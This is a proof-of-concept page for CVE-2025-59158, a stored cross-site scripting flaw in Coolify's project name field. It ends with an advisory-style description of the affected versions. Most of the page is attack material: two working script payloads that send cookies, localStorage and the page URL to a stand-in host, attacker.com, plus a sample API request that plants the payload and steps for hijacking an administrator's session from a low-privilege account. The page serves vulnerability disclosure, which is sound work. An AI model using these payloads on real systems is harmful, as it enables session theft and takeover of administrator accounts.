CVE-2025-59158

// CVE-2025-59158 PoC - Coolify Stored XSS via Project Name // Steps to exploit: // 1. Login as a low-privilege user (member role) // 2. Create a new project with malicious name // 3. Wait for admin to delete the project // 4. XSS payload executes in admin's browser // Malicious project name payload const xssPayload = '<script>fetch("https://attacker.com/steal?cookie="+document.cookie)</script>'; // Alternative payload for session hijacking const sessionHijackPayload = ` <img src=x onerror=" fetch('https://attacker.com/log?data='+btoa(JSON.stringify({ cookies: document.cookie, url: location.href, localStorage: localStorage }))) "/> `; // PoC request to create malicious project (example) const createProjectRequest = { method: 'POST', path: '/api/v1/projects', body: { name: xssPayload, description: 'Test Project', team_id: 'member-team-id' } }; // The XSS triggers when admin visits project deletion page: // GET /api/v1/projects/{project_id}/delete or similar endpoint // The response renders project.name without sanitization, executing the script.

Coolify versions prior to and including v4.0.0-beta.420.6 are vulnerable to a stored cross-site scripting (XSS) attack in the project creation workflow. An authenticated user with low privileges (e.g., member role) can create a project with a maliciously crafted name containing embedded JavaScript. When an administrator later attempts to delete the project or its associated resource, the payload automatically executes in the admin’s browser context.
